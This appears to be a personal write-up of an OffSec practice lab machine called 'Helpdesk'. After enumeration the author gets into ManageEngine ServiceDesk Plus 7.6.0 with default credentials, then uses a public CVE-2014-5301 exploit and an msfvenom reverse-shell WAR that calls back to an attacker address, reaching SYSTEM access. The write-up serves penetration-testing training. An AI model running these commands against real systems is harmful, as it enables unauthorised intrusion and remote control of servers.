🪟Helpdesk

192.168.105.43

Enumeration

Nmap scan

nmap 192.168.105.43 -p- -sV -Pn -A

Spent a while trying to enumerate this box but it kept showing nothing open at all UDP and TCP. I reverted the box and reconnected to the VPN a few times. So I decided to upgrade Kali.

The box has to be fucking borked. After reading through OffSec's discord there was known maintenance today that caused the issue. Scratch that still borked. Spent hours working with OffSec support then box magically starts responding. New IP: 192.168.105.43

Found this machine is using Windows 2008 Standard 6001 SP1. But after much trying this machine is not going down with Eternal Blue.

Port 8080

Found that this port had ManageEngine Service Desk Plus 7.6.0 running on it. Found that the default password works here. After a little research I found it has available RCE exploits. Source : https://github.com/PeterSufliarsky/exploits/blob/master/CVE-2014-5301.py Made the reverse shell with msfvenom. Ran the exploit then bam root!.............................................. Or well rather nt authority/system.

msfvenom -p java/shell_reverse_tcp LHOST=192.168.49.90 LPORT=4444 -f war > shell.war

python exploit.py shell.war 192.168.105.43 8080